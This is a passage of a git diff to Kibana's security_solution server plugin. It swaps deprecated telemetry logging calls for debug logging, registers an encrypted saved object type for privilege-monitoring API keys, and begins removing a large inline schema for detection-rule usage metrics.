a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/ingest_pipelines_stats.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/ingest_pipelines_stats.ts index 1ef5d61f6e168..40f17ebe35ca5 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/ingest_pipelines_stats.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/ingest_pipelines_stats.ts @@ -81,12 +81,12 @@ export function createIngestStatsTaskConfig() { } as LogMeta); return ingestStats.length; - } catch (err) { + } catch (error) { log.warn(`Error running ingest stats task`, { - error: err.message, + error, elapsed: performance.now() - start, - } as LogMeta); - await taskMetricsService.end(trace, err); + }); + await taskMetricsService.end(trace, error); return 0; } }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/prebuilt_rule_alerts.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/prebuilt_rule_alerts.ts index bf1c457e9dfc9..ee6ecbef18b21 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/prebuilt_rule_alerts.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/prebuilt_rule_alerts.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import type { ITelemetryEventsSender } from '../sender'; import type { ITelemetryReceiver } from '../receiver'; import type { ITaskMetricsService } from '../task_metrics.types'; @@ -44,7 +44,7 @@ export function createTelemetryPrebuiltRuleAlertsTaskConfig(maxTelemetryBatch: n const log = newTelemetryLogger(logger.get('prebuilt_rule_alerts'), mdc); const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { const [clusterInfoPromise, licenseInfoPromise, packageVersion] = await Promise.allSettled([ @@ -96,7 +96,9 @@ export function createTelemetryPrebuiltRuleAlertsTaskConfig(maxTelemetryBatch: n }) ); - log.l('sending elastic prebuilt alerts', { length: enrichedAlerts.length }); + log.debug('sending elastic prebuilt alerts', { + length: enrichedAlerts.length, + } as LogMeta); const batches = batchTelemetryRecords(enrichedAlerts, maxTelemetryBatch); const promises = batches.map(async (batch) => { @@ -108,9 +110,9 @@ export function createTelemetryPrebuiltRuleAlertsTaskConfig(maxTelemetryBatch: n await taskMetricsService.end(trace); return 0; - } catch (err) { - logger.error('could not complete task', { error: err }); - await taskMetricsService.end(trace, err); + } catch (error) { + logger.error('could not complete task', { error }); + await taskMetricsService.end(trace, error); return 0; } }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/security_lists.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/security_lists.ts index e56a1a1cf0fed..5c0cdcfafe241 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/security_lists.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/security_lists.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import { ENDPOINT_LIST_ID, ENDPOINT_ARTIFACT_LISTS } from '@kbn/securitysolution-list-constants'; import { LIST_ENDPOINT_EXCEPTION, @@ -47,7 +47,7 @@ export function createTelemetrySecurityListTaskConfig(maxTelemetryBatch: number) const log = newTelemetryLogger(logger.get('security_lists'), mdc); const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); const usageCollector = sender.getTelemetryUsageCluster(); const usageLabelPrefix: string[] = ['security_telemetry', 'lists']; @@ -81,7 +81,7 @@ export function createTelemetrySecurityListTaskConfig(maxTelemetryBatch: number) LIST_TRUSTED_APPLICATION ); trustedApplicationsCount = trustedAppsJson.length; - log.l('Trusted Apps', { trusted_apps_count: trustedApplicationsCount }); + log.debug('Trusted Apps', { trusted_apps_count: trustedApplicationsCount } as LogMeta); usageCollector?.incrementCounter({ counterName: createUsageCounterLabel(usageLabelPrefix), @@ -106,7 +106,7 @@ export function createTelemetrySecurityListTaskConfig(maxTelemetryBatch: number) LIST_ENDPOINT_EXCEPTION ); endpointExceptionsCount = epExceptionsJson.length; - log.l('EP Exceptions', { ep_exceptions_count: endpointExceptionsCount }); + log.debug('EP Exceptions', { ep_exceptions_count: endpointExceptionsCount } as LogMeta); usageCollector?.incrementCounter({ counterName: createUsageCounterLabel(usageLabelPrefix), @@ -131,7 +131,7 @@ export function createTelemetrySecurityListTaskConfig(maxTelemetryBatch: number) LIST_ENDPOINT_EVENT_FILTER ); endpointEventFiltersCount = epFiltersJson.length; - log.l('EP Event Filters', { ep_filters_count: endpointEventFiltersCount }); + log.debug('EP Event Filters', { ep_filters_count: endpointEventFiltersCount } as LogMeta); usageCollector?.incrementCounter({ counterName: createUsageCounterLabel(usageLabelPrefix), diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines.ts index ef9ce40e77c96..e3344a13827e4 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import type { ITelemetryEventsSender } from '../sender'; import type { ITelemetryReceiver } from '../receiver'; import type { TaskExecutionPeriod } from '../task'; @@ -35,7 +35,7 @@ export function createTelemetryTimelineTaskConfig() { const fetcher = new TelemetryTimelineFetcher(receiver); const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { let counter = 0; @@ -48,7 +48,7 @@ export function createTelemetryTimelineTaskConfig() { } const alerts = await receiver.fetchTimelineAlerts(alertsIndex, rangeFrom, rangeTo); - log.l('found alerts to process', { length: alerts.length }); + log.debug('found alerts to process', { length: alerts.length } as LogMeta); for (const alert of alerts) { const result = await fetcher.fetchTimeline(alert); @@ -73,14 +73,14 @@ export function createTelemetryTimelineTaskConfig() { } } - log.l('Concluding timeline task.', { counter }); + log.debug('Concluding timeline task.', { counter } as LogMeta); await taskMetricsService.end(trace); return counter; - } catch (err) { - logger.error('could not complete task', { error: err }); - await taskMetricsService.end(trace, err); + } catch (error) { + logger.error('could not complete task', { error }); + await taskMetricsService.end(trace, error); return 0; } }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines_diagnostic.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines_diagnostic.ts index ec401a093c348..b8e76ca8e8a0e 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines_diagnostic.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/timelines_diagnostic.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import { DEFAULT_DIAGNOSTIC_INDEX_PATTERN } from '../../../../common/endpoint/constants'; import type { ITelemetryEventsSender } from '../sender'; import type { ITelemetryReceiver } from '../receiver'; @@ -36,7 +36,7 @@ export function createTelemetryDiagnosticTimelineTaskConfig() { const trace = taskMetricsService.start(taskType); const fetcher = new TelemetryTimelineFetcher(receiver); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { let counter = 0; @@ -49,7 +49,7 @@ export function createTelemetryDiagnosticTimelineTaskConfig() { rangeTo ); - log.l('found alerts to process', { length: alerts.length }); + log.debug('found alerts to process', { length: alerts.length } as LogMeta); for (const alert of alerts) { const result = await fetcher.fetchTimeline(alert); @@ -74,14 +74,14 @@ export function createTelemetryDiagnosticTimelineTaskConfig() { } } - log.l('Concluding timeline task.', { counter }); + log.debug('Concluding timeline task.', { counter } as LogMeta); await taskMetricsService.end(trace); return counter; - } catch (err) { - logger.error('could not complete task', { error: err }); - await taskMetricsService.end(trace, err); + } catch (error) { + logger.error('could not complete task', { error }); + await taskMetricsService.end(trace, error); return 0; } }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/telemetry_logger.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/telemetry_logger.ts index 1876608a91b52..82eac0c0e8f16 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/telemetry_logger.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/telemetry_logger.ts @@ -9,6 +9,18 @@ import type { LogLevelId, LogRecord } from '@kbn/logging'; import { clusterInfo, isElasticCloudDeployment } from './helpers'; export interface TelemetryLogger extends Logger { + /** + * @deprecated This method is deprecated and should be avoided in new code. + * Instead, configure appropriate log levels directly in `kibana.yml`. For example: + * + * ```yaml + * # kibana.yml + * logging.loggers: + * - name: plugins.securitySolution + * level: info + * - name: plugins.securitySolution.telemetry_events.sender + * level: debug + */ l(message: string, meta?: Meta | object): void; } diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/types.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/types.ts index 6d20331e770ab..403c0b597073c 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/types.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/types.ts @@ -27,12 +27,12 @@ export type ShardError = Partial<{ node: string; reason: Partial<{ type: string; - reason: string; + reason: string | null; index_uuid: string; index: string; caused_by: Partial<{ type: string; - reason: string; + reason: string | null; }>; }>; }>; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lists_integration/endpoint/validators/base_validator.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lists_integration/endpoint/validators/base_validator.test.ts index ba09246349e98..444749cde4870 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lists_integration/endpoint/validators/base_validator.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lists_integration/endpoint/validators/base_validator.test.ts @@ -154,6 +154,8 @@ describe('When using Artifacts Exceptions BaseValidator', () => { }); it('should validate policy ids for by policy artifacts', async () => { + const getActiveSpaceMock = jest.spyOn(endpointAppContextServices, 'getActiveSpace'); + getActiveSpaceMock.mockResolvedValue({ id: 'default', name: 'default', disabledFeatures: [] }); packagePolicyService.getByIDs.mockResolvedValue([ { id: '123', @@ -165,6 +167,8 @@ describe('When using Artifacts Exceptions BaseValidator', () => { }); it('should throw if policy ids for by policy artifacts are not valid', async () => { + const getActiveSpaceMock = jest.spyOn(endpointAppContextServices, 'getActiveSpace'); + getActiveSpaceMock.mockResolvedValue({ id: 'default', name: 'default', disabledFeatures: [] }); packagePolicyService.getByIDs.mockResolvedValue([]); await expect(initValidator()._validateByPolicyItem(exceptionLikeItem)).rejects.toBeInstanceOf( diff --git a/x-pack/solutions/security/plugins/security_solution/server/plugin.ts b/x-pack/solutions/security/plugins/security_solution/server/plugin.ts index 1e5f3252e07c3..fdc868d436794 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/plugin.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/plugin.ts @@ -43,7 +43,7 @@ import { initRoutes } from './routes'; import { registerLimitedConcurrencyRoutes } from './routes/limited_concurrency'; import { ManifestConstants, ManifestTask } from './endpoint/lib/artifacts'; import { CheckMetadataTransformsTask } from './endpoint/lib/metadata'; -import { initSavedObjects } from './saved_objects'; +import { initEncryptedSavedObjects, initSavedObjects } from './saved_objects'; import { AppClientFactory } from './client'; import type { ConfigType } from './config'; import { createConfig } from './config'; @@ -222,6 +222,10 @@ export class Plugin implements ISecuritySolutionPlugin { const experimentalFeatures = config.experimentalFeatures; initSavedObjects(core.savedObjects); + initEncryptedSavedObjects({ + encryptedSavedObjects: plugins.encryptedSavedObjects, + logger: this.logger, + }); initUiSettings(core.uiSettings, experimentalFeatures, config.enableUiSettingsValidations); productFeaturesService.init(plugins.features); @@ -263,7 +267,6 @@ export class Plugin implements ISecuritySolutionPlugin { logger: this.logger, telemetry: core.analytics, taskManager: plugins.taskManager, - experimentalFeatures, }); registerEntityStoreDataViewRefreshTask({ @@ -283,6 +286,7 @@ export class Plugin implements ISecuritySolutionPlugin { getStartServices: core.getStartServices, taskManager: plugins.taskManager, logger: this.logger, + auditLogger: plugins.security?.audit.withoutRequest, telemetry: core.analytics, kibanaVersion: pluginContext.env.packageInfo.version, experimentalFeatures, @@ -627,7 +631,6 @@ export class Plugin implements ISecuritySolutionPlugin { plugins.elasticAssistant.registerTools(APP_UI_ID, assistantTools); const features = { assistantModelEvaluation: config.experimentalFeatures.assistantModelEvaluation, - advancedEsqlGeneration: config.experimentalFeatures.advancedEsqlGeneration, }; plugins.elasticAssistant.registerFeatures(APP_UI_ID, features); plugins.elasticAssistant.registerFeatures('management', features); diff --git a/x-pack/solutions/security/plugins/security_solution/server/request_context_factory.ts b/x-pack/solutions/security/plugins/security_solution/server/request_context_factory.ts index 5b66745b27158..428236f6b877a 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/request_context_factory.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/request_context_factory.ts @@ -23,7 +23,6 @@ import { AssetInventoryDataClient } from './lib/asset_inventory/asset_inventory_ import { createDetectionRulesClient } from './lib/detection_engine/rule_management/logic/detection_rules_client/detection_rules_client'; import type { IRuleMonitoringService } from './lib/detection_engine/rule_monitoring'; import { AssetCriticalityDataClient } from './lib/entity_analytics/asset_criticality'; -import { getApiKeyManager } from './lib/entity_analytics/entity_store/auth/api_key'; import { EntityStoreDataClient } from './lib/entity_analytics/entity_store/entity_store_data_client'; import { RiskEngineDataClient } from './lib/entity_analytics/risk_engine/risk_engine_data_client'; import { RiskScoreDataClient } from './lib/entity_analytics/risk_score/risk_score_data_client'; @@ -40,6 +39,10 @@ import type { SecuritySolutionRequestHandlerContext, } from './types'; import { PrivilegeMonitoringDataClient } from './lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client'; +import { getApiKeyManager as getApiKeyManagerPrivilegedUserMonitoring } from './lib/entity_analytics/privilege_monitoring/auth/api_key'; +import { getApiKeyManager as getApiKeyManagerEntityStore } from './lib/entity_analytics/entity_store/auth/api_key'; +import { PrivilegeMonitoringApiKeyType } from './lib/entity_analytics/privilege_monitoring/auth/saved_object'; +import { monitoringEntitySourceType } from './lib/entity_analytics/privilege_monitoring/saved_objects'; export interface IRequestContextFactory { create( @@ -113,7 +116,17 @@ export class RequestContextFactory implements IRequestContextFactory { const getAuditLogger = () => security?.audit.asScoped(request); const getEntityStoreApiKeyManager = () => - getApiKeyManager({ + getApiKeyManagerEntityStore({ + core: coreStart, + logger: options.logger, + security: startPlugins.security, + encryptedSavedObjects: startPlugins.encryptedSavedObjects, + request, + namespace: getSpaceId(), + }); + + const getPrivilegedUserMonitoringApiKeyManager = () => + getApiKeyManagerPrivilegedUserMonitoring({ core: coreStart, logger: options.logger, security: startPlugins.security, @@ -162,6 +175,8 @@ export class RequestContextFactory implements IRequestContextFactory { getEntityStoreApiKeyManager, + getPrivilegedUserMonitoringApiKeyManager, + getProductFeatureService: () => productFeaturesService, getDetectionRulesClient: memoize(() => { @@ -257,23 +272,34 @@ export class RequestContextFactory implements IRequestContextFactory { }) ), getPrivilegeMonitoringDataClient: memoize(() => { + const soClient = coreContext.savedObjects.getClient({ + includedHiddenTypes: [ + PrivilegeMonitoringApiKeyType.name, + monitoringEntitySourceType.name, + ], + }); + return new PrivilegeMonitoringDataClient({ logger: options.logger, clusterClient: coreContext.elasticsearch.client, namespace: getSpaceId(), - soClient: coreContext.savedObjects.client, + soClient, taskManager: startPlugins.taskManager, + apiKeyManager: getPrivilegedUserMonitoringApiKeyManager(), auditLogger: getAuditLogger(), kibanaVersion: options.kibanaVersion, telemetry: core.analytics, }); }), getMonitoringEntitySourceDataClient: memoize(() => { + const soClient = coreContext.savedObjects.getClient({ + includedHiddenTypes: [monitoringEntitySourceType.name], + }); return new MonitoringEntitySourceDataClient({ logger: options.logger, clusterClient: coreContext.elasticsearch.client, namespace: getSpaceId(), - soClient: coreContext.savedObjects.client, + soClient, }); }), getPadPackageInstallationClient: memoize(() => { @@ -321,6 +347,14 @@ export class RequestContextFactory implements IRequestContextFactory { uiSettingsClient: coreContext.uiSettings.client, }) ), + getMlAuthz: memoize(() => { + return buildMlAuthz({ + license: licensing.license, + ml: plugins.ml, + request, + savedObjectsClient: coreContext.savedObjects.client, + }); + }), }; } } diff --git a/x-pack/solutions/security/plugins/security_solution/server/saved_objects.ts b/x-pack/solutions/security/plugins/security_solution/server/saved_objects.ts index 79e7bbaaa086c..5aa9a45609e44 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/saved_objects.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/saved_objects.ts @@ -5,9 +5,10 @@ * 2.0. */ -import type { CoreSetup } from '@kbn/core/server'; +import type { CoreSetup, Logger } from '@kbn/core/server'; import { promptType } from '@kbn/security-ai-prompts'; +import type { EncryptedSavedObjectsPluginSetup } from '@kbn/encrypted-saved-objects-plugin/server'; import { referenceDataSavedObjectType } from './endpoint/lib/reference_data'; import { protectionUpdatesNoteType } from './endpoint/lib/protection_updates_note/saved_object_mappings'; import { noteType, pinnedEventType, timelineType } from './lib/timeline/saved_object_mappings'; @@ -22,6 +23,10 @@ import { privilegeMonitoringType, monitoringEntitySourceType, } from './lib/entity_analytics/privilege_monitoring/saved_objects'; +import { + PrivilegeMonitoringApiKeyEncryptionParams, + PrivilegeMonitoringApiKeyType, +} from './lib/entity_analytics/privilege_monitoring/auth/saved_object'; const types = [ noteType, @@ -35,6 +40,7 @@ const types = [ riskEngineConfigurationType, entityEngineDescriptorType, privilegeMonitoringType, + PrivilegeMonitoringApiKeyType, monitoringEntitySourceType, protectionUpdatesNoteType, promptType, @@ -61,3 +67,17 @@ export const notesSavedObjectTypes = [noteType.name]; export const initSavedObjects = (savedObjects: CoreSetup['savedObjects']) => { types.forEach((type) => savedObjects.registerType(type)); }; + +export const initEncryptedSavedObjects = ({ + encryptedSavedObjects, + logger, +}: { + encryptedSavedObjects: EncryptedSavedObjectsPluginSetup | undefined; + logger: Logger; +}) => { + if (!encryptedSavedObjects) { + logger.warn('EncryptedSavedObjects plugin not available; skipping registration.'); + return; + } + encryptedSavedObjects.registerType(PrivilegeMonitoringApiKeyEncryptionParams); +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/types.ts b/x-pack/solutions/security/plugins/security_solution/server/types.ts index baa8f321c990d..da28bad844467 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/types.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/types.ts @@ -42,9 +42,11 @@ import type { EntityStoreDataClient } from './lib/entity_analytics/entity_store/ import type { SiemRuleMigrationsClient } from './lib/siem_migrations/rules/siem_rule_migrations_service'; import type { AssetInventoryDataClient } from './lib/asset_inventory/asset_inventory_data_client'; import type { PrivilegeMonitoringDataClient } from './lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client'; -import type { ApiKeyManager } from './lib/entity_analytics/entity_store/auth/api_key'; +import type { ApiKeyManager as EntityStoreApiKeyManager } from './lib/entity_analytics/entity_store/auth/api_key'; +import type { ApiKeyManager as PrivilegedUsersApiKeyManager } from './lib/entity_analytics/privilege_monitoring/auth/api_key'; import type { ProductFeaturesService } from './lib/product_features_service'; import type { MonitoringEntitySourceDataClient } from './lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client'; +import type { MlAuthz } from './lib/machine_learning/authz'; export { AppClient }; export interface SecuritySolutionApiRequestHandlerContext { @@ -63,7 +65,7 @@ export interface SecuritySolutionApiRequestHandlerContext { getRacClient: (req: KibanaRequest) => Promise; getAuditLogger: () => AuditLogger | undefined; getDataViewsService: () => DataViewsService; - getEntityStoreApiKeyManager: () => ApiKeyManager; + getEntityStoreApiKeyManager: () => EntityStoreApiKeyManager; getExceptionListClient: () => ExceptionListClient | null; getInternalFleetServices: () => EndpointInternalFleetServicesInterface; getRiskEngineDataClient: () => RiskEngineDataClient; @@ -72,11 +74,13 @@ export interface SecuritySolutionApiRequestHandlerContext { getEntityStoreDataClient: () => EntityStoreDataClient; getPrivilegeMonitoringDataClient: () => PrivilegeMonitoringDataClient; getMonitoringEntitySourceDataClient: () => MonitoringEntitySourceDataClient; + getPrivilegedUserMonitoringApiKeyManager: () => PrivilegedUsersApiKeyManager; getPadPackageInstallationClient: () => PadPackageInstallationClient; getSiemRuleMigrationsClient: () => SiemRuleMigrationsClient; getInferenceClient: () => InferenceClient; getAssetInventoryClient: () => AssetInventoryDataClient; getProductFeatureService: () => ProductFeaturesService; + getMlAuthz: () => MlAuthz; } export type SecuritySolutionRequestHandlerContext = CustomRequestHandlerContext<{ diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/collector.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/collector.ts index fad08ea435448..1862ac7f2513b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/usage/collector.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/collector.ts @@ -14,6 +14,11 @@ import { getEndpointMetrics } from './endpoint/get_metrics'; import { getDashboardMetrics } from './dashboards/get_dashboards_metrics'; import { riskEngineMetricsSchema } from './risk_engine/schema'; import { getRiskEngineMetrics } from './risk_engine/get_risk_engine_metrics'; +import { rulesMetricsSchema } from './detections/rules/schema'; +import { getExceptionsMetrics } from './exceptions/get_metrics'; +import { exceptionsMetricsSchema } from './exceptions/schema'; +import { valueListsMetricsSchema } from './value_lists/schema'; +import { getValueListsMetrics } from './value_lists/get_metrics'; export type RegisterCollector = (deps: CollectorDependencies) => void; @@ -22,6 +27,8 @@ export interface UsageData { endpointMetrics: {}; dashboardMetrics: DashboardMetrics; riskEngineMetrics: {}; + exceptionsMetrics: {}; + valueListsMetrics: {}; } export const registerCollector: RegisterCollector = ({ @@ -43,3710 +50,7 @@ export const registerCollector: RegisterCollector = ({ type: 'security_solution', schema: { detectionMetrics: { - detection_rules: { - spaces_usage: { - total: { - type: 'long', - _meta: { description: 'Total number of spaces where detection rules added' }, - }, - rules_in_spaces: { - type: 'array', - items: { - type: 'long', - _meta: { description: 'Number of rules is each space' }, - }, - }, - }, - detection_rule_usage: { - query: { - enabled: { type: 'long', _meta: { description: 'Number of query rules enabled' } }, - disabled: { type: 'long', _meta: { description: 'Number of query rules disabled' } }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by query rules' }, - }, - cases: { - type: 'long', - _meta: { description: 'Number of cases attached to query detection rule alerts' }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled query rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled query rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: 'Number of query rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: 'Number of query rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: 'Number of query rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: - 'Number of query rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of query rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of query rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of query rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled query rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled query rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within query rules', - }, - }, - osquery: { - type: 'long', - _meta: { description: 'Number of osquery response actions within query rules' }, - }, - }, - }, - }, - threshold: { - enabled: { - type: 'long', - _meta: { description: 'Number of threshold rules enabled' }, - }, - disabled: { - type: 'long', - _meta: { description: 'Number of threshold rules disabled' }, - }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by threshold rules' }, - }, - cases: { - type: 'long', - _meta: { - description: 'Number of cases attached to threshold detection rule alerts', - }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled threshold rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled threshold rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: - 'Number of threshold rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: - 'Number of threshold rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: - 'Number of threshold rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: - 'Number of threshold rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of threshold rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of threshold rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of threshold rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: - 'Number of enabled threshold rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: - 'Number of disabled threshold rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within threshold rules', - }, - }, - osquery: { - type: 'long', - _meta: { - description: 'Number of osquery response actions within threshold rules', - }, - }, - }, - }, - }, - eql: { - enabled: { type: 'long', _meta: { description: 'Number of eql rules enabled' } }, - disabled: { type: 'long', _meta: { description: 'Number of eql rules disabled' } }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by eql rules' }, - }, - cases: { - type: 'long', - _meta: { description: 'Number of cases attached to eql detection rule alerts' }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled eql rules configured with suppression', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled eql rules configured with suppression', - }, - }, - suppressed_fields_count: { - one: { - type: 'long', - _meta: { - description: 'Number of eql rules configured with one suppression field', - }, - }, - two: { - type: 'long', - _meta: { - description: 'Number of eql rules configured with two suppression field', - }, - }, - three: { - type: 'long', - _meta: { - description: 'Number of eql rules configured with three suppression field', - }, - }, - }, - suppressed_per_time_period: { - type: 'long', - _meta: { - description: 'Number of eql rules configured with suppression per time period', - }, - }, - suppressed_per_rule_execution: { - type: 'long', - _meta: { - description: - 'Number of eql rules configured with suppression per rule execution', - }, - }, - suppresses_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of eql rules configured to suppress alerts with missing fields', - }, - }, - does_not_suppress_missing_fields: { - type: 'long', - _meta: { - description: - 'Number of eql rules configured do not suppress alerts with missing fields', - }, - }, - }, - response_actions: { - enabled: { - type: 'long', - _meta: { - description: 'Number of enabled eql rules configured with response actions', - }, - }, - disabled: { - type: 'long', - _meta: { - description: 'Number of disabled eql rules configured with response actions', - }, - }, - response_actions: { - endpoint: { - type: 'long', - _meta: { - description: 'Number of endpoint response actions within eql rules', - }, - }, - osquery: { - type: 'long', - _meta: { description: 'Number of osquery response actions within eql rules' }, - }, - }, - }, - }, - machine_learning: { - enabled: { - type: 'long', - _meta: { description: 'Number of machine_learning rules enabled' }, - }, - disabled: { - type: 'long', - _meta: { description: 'Number of machine_learning rules disabled' }, - }, - alerts: { - type: 'long', - _meta: { description: 'Number of alerts generated by machine_learning rules' }, - }, - cases: { - type: 'long', - _meta: { - description: 'Number of cases attached to machine_learning detection rule alerts', - }, - }, - legacy_notifications_enabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications enabled' }, - }, - legacy_notifications_disabled: { - type: 'long', - _meta: { description: 'Number of legacy notifications disabled' }, - }, - notifications_enabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - notifications_disabled: { - type: 'long', - _meta: { description: 'Number of notifications enabled' }, - }, - legacy_investigation_fields: { - type: 'long', - _meta: { - description: - 'Number of rules using the legacy investigation fields type introduced only in 8.10 ESS', - }, - }, - alert_suppression: { - 